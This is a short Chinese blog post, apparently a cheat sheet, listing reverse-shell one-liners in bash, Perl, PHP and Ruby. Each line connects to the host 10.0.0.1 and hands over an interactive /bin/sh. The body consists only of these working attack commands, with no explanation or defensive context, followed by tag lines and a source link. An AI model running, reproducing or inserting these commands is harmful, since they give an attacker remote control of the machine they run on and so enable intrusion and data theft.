标签:bsp add int nbsp perl highlight ruby fsockopen get
1、bash反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2、perl
perl -e ‘use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘
3、php
php -r ‘$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");‘
4、ruby
ruby -rsocket -e‘f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)‘
标签:bsp add int nbsp perl highlight ruby fsockopen get
原文地址:http://www.cnblogs.com/photographer/p/6888122.html